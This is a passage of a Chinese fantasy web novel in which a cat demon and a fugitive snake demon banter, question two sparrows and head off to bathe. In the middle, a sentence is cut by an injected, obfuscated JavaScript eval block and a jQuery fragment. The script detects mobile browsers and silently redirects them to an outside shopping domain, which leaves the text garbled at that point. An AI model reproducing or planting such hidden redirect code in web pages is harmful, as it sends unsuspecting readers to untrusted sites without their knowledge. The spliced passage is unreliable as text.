晨光熹微。
余清和猛地一睁眼,发现自己被胡乱塞在一团干枯的茅草里,浑身的泥已经干得走路掉渣。
周围哪里还有昨晚蛇妖的影子?
想必那蛇最后自己跑了吧,她不禁有些愤愤:昨晚她还使出妖力一起逃跑呢,结果就被这样扔进杂草里不管了。
“臭蛇。”
她说着从茅草团里钻出来,却一脚踩上个滑溜的东西,往下一压还挺弹脚,又听见一声嘶嘶响。
“小泥巴,大早上就恩将仇报,我倒没想到你还能活呢?”
比她脑袋还大的三角蛇头顶开周围的草枝,从草团将将冒出一段。蛇喙微张,猩红的细舌鞭打面前空气。
萧簌在她的面前绕了个半圈,金黄的蛇鳞折过天光闪她的眼。
他一双蛇瞳却是深深的绿色,像是种子在浅池里发了细芽。
“我可听见你刚刚骂我了,现在尾巴也都要被你踩上印子了。”
“你皮很薄吗?”余清和闻言非但不退,还用力踩了一脚,然后跳开抬爪去拨开杂草。
真要看看能不能按出自己的爪印。
至于骂蛇?那有他说的难听吗,说她像泥生了智、成了妖一样?
萧簌尾巴一抬将她向旁边一推,作势要缠住她小小的猫身。尾巴尖一晃出来,却不似他身上自然生长的齐整鳞片,而是生着一环环的焦黑。
他也看到了,但毫不在意,轻巧一卷就把余清和整个提了起来。
小东西在空中晃,他一双眼在她身上看来看去,问:“还真是毫无破绽,你是怎么做到的?”
余清和被他的尾巴勒得心口闷,又见他浑身干干净净闪金光,自己却是满身泥粒隐隐发痒。
她四爪乱挥,腰间束缚稍松便四脚落地,却不回答蛇的问题,只说:“你自己就干干净净,叫我小泥巴笑话我是吧。”
蛇妖裂开嘴像是在学人笑,摇头晃脑地前后打量她现在的样子,语气轻傲,“你长得又小,又浑身泥,况且你叫我‘臭蛇’,我叫你‘小泥巴’又怎么了?”
余清和跳过去一爪拍在他身上,毛上干泥粉簌簌往下掉。
原型这么丑,像段剥皮干木头似的,很了不得吗?
她转头便去寻水源,要把身上的脏污洗个干净。
板结的土面被踩过连脚印都不会留下,她身上的毛有些黏在了一块,走路的时候还会扯到。
蛇妖滑行到她身侧,偏着头看她,根本不看路,问:“这是要去哪,你怎么就不说话了?”
“你这妖还真喜欢动手,先是踩我的尾巴,又是用爪子拍我。你叫什么啊?你运气怎么那么糟,要是没有我的话,你身上的毛都要焦成几圈了吧...”
“昨天晚上我还以为你死了呢,你死了我不就白被烤焦了尾巴吗?我真想知道你是怎么隐藏妖气的,要是我也会这样就好了,大家都是妖,你就好心告诉我又怎么样?”
余清和越走越累,自然也就越来越慢。反观身边那蛇一副跃跃欲试的模样,鳞片擦着坚土滑动如流水,轻而易举。
“你学了这有什么用处?”余清和歪头看他,若没有妖气,不就跟普通蛇没两样了,那对妖来说有太多不便了。
他说十句终于听到她回一句,蛇妖兴奋地晃了晃脑袋,情不自禁做出了捕食的动作。
“我叫萧簌,我是从北边逃过来的,要是能收好我身上的妖气,那我就不用再担心被捉妖师抓住了。”他围着余清和绕了一圈,适时扬起自己的尾巴尖,“你看,我的尾巴都花了。”
她看了看他的花尾巴,正要说些什么。
远处飞来一群鸟,几只落在他们头顶的树枝上。
“哟,好大条长虫,还有个像土块的小东西,这是在打架吗?”
余清和抬头朝着那只鸟望去,萧簌也随着她的目光向上看。
“怎么下面那东西奇怪地看着我,到底还打不打了?”
灰雀扑着翅膀往旁边一连挪了几个碎步,和另一只正梳理羽毛的灰雀挤着翅膀。
“你饿了?”萧簌盯了余清和一眼,又抬头望那两只小雀,“这么点肉,也不好吃,吃一嘴的毛。”
他立在余清和身侧,黄澄眼里小雀叽喳着不知在叫唤什么,每个都吃得圆滚滚的。
若是拔掉毛或许也不瘦,共穿在一根细直的树枝上,用烧红的木头慢慢烤熟,味道也不错。
再瞥向余清和时,心里便有了主意。
“小泥巴,你吃过人族的东西吗?”
“那些可比这些小雀好吃多了:白白胖胖的蒸包子,洒了干桂花的油饼,还有硬得可以邦邦响的麦饼...自从被捉妖师盯上,我就再也没吃过了,唉。”
余清和却没搭理他,忙着看那两只小雀吵架呢。
“在谢家你还没看够?刚刚那个坐轮椅上的怪人,才看了你一眼,你就吵着要回来。”
“那家伙真是太可怕了,他那么看你你也会跑。”
“我不会!”
“你就会!”
“你们在说什么怪人?”余清和一出声,两只鸟互相靠得更紧,红山楂大的脑袋东张西望。
“你学鸟叫做什么?”
萧簌支起身挡住她的视线,说:“那不好吃,你教我隐藏妖气,我带你去城里吃那些好吃的,你想吃什么都行。”
“我不要。”
余清和整个身子往旁边一侧,又能看到树枝上挤成一块的两只鸟,兀自对上了视线。
那只说自己不会跑的鸟往侧边树枝一飞,剩下那只突然没了支撑倾身往下坠落,落到半空又翻转着飞了起来。
“为什么不要?”萧簌微微放低了身子,头也偏向余清和的方向。
暴躁的鸟语落在余清和耳中是连续的尖叫,盖住了他的声音。
“好可怕!”
余清和蓄势跳起来一扑,按住了那只鸟的翅膀。
它顿时剧烈挣扎着发出凄厉的声音,“救我!”
“你们刚刚说什么怪人呢?”余清和的气息扑洒在鸟羽上。
异种怪物突然说了自己的语言,同伴早就惊飞,灰雀吓得昏了过去。
“你为什么不要?”萧簌跟了过去,蛇头微微靠着她的脑袋。
“那又不好吃。”
余清和答道,抬爪拨弄两
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17870277|212278||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下变得柔软的灰雀,转头继续要寻处水池。
也不是非要知道,谢渔家里来了什么怪人,关她什么事。
她抬脚便走了,萧簌却若有所感,低头嗅了嗅灰雀的气味,舌尖从它蓬松的短圆羽毛上划过。
眼熟的灰雀飞窜到他面前,要爪子擒住他的舌头,一双翅膀噗噗挥到他的脸上,飞羽粉尘扬到他眼睛里。
余清和听得清楚,那鸟叫着:“臭长虫滚开!不许靠近它!”
不用想也知道说的是萧簌。
嘴里说着没多少肉不好吃,真是口是心非。感觉饿的就不是她,而是他才对。
“讨厌的小鸟。”
萧簌如条金色绸带飘到她身侧,问:“你怎么不化成人形,你这么小,这样走着多慢啊。”
“你以前该不会总装做普通的猫和人一起住吧?”
他的目光在余清和身上过上一圈,“你看起来圆滚滚的,他们对你是不是很好?那你每天都会吃些什么,晚上你又睡在哪里?是不是门外,可是那样晚上一吹风就会觉得冷吧?”
他的问题太多,余清和正觉得累呢,便转头看着他,神神秘秘地说:“你靠近点,过来我告诉你。”
这需要悄悄说吗?
萧簌转而又明白,身为一只妖,却靠着人得以生存,或许小泥巴觉得有失妖尊。
他压低头一凑近,就被一个泥掌压在了蛇喙边缘。尽管她身上泥水已经发干,那一瞬泥腥和血味溜进嘴里,身边似乎吹来昨夜的寒风。
“萧簌,你当会儿我的坐骑吧。”
“让我给你这个小泥巴当坐骑?”整条蛇瞬间拔高,“昨晚只是个意外而已。”
下一瞬,他却化成人的模样,将余清和一把抓了起来,问:“你这是要去哪?”
不当坐骑,但可以做人捏着妖走。
“你还真是古怪。”
余清和四只爪子悬空往下垂,随着萧簌的步子一晃一晃。
“你这么弱,该不会就是因为弱,才能把妖气隐藏得那么好吧。”
萧簌换了法子,改用激将。
余清和随着晃动脑袋一点一点,嘴里却说:“干嘛非要隐藏妖气呢,你为什么不去妖城?那里全是大妖,捉妖师抓不到你的。”
“我不想去妖城,我想住在城里,吃人做的东西。”
“呼哈—”
余清和从水面里冒出脑袋,水纹从她身边弯曲流过,她前爪刨着水,慢悠悠地游到了岸边。
还是想不明白,一个被捉妖师追杀的妖,到底为什么就不去妖城避难。
她的毛一绺一绺贴在身上,刚上岸便将水珠抖过一回,浑身像长出尖尖毛刺。
目光转向坐于树下荫蔽出的半人半蛇,她才注意到萧簌身上长着不少泛白的伤痕,如透过叶隙落在他身上的碎片光芒。
他的眼睛还是深深的绿色,一头浓黑的卷发。
竖直的瞳孔里映着青翠群山悠长溪涧,还有像个花刺猬一样的她。
“怪不得你长这么胖,原来你...”
余清和已走到他的身边,甩了他一身的水珠,在树荫下造了一场晴天雨。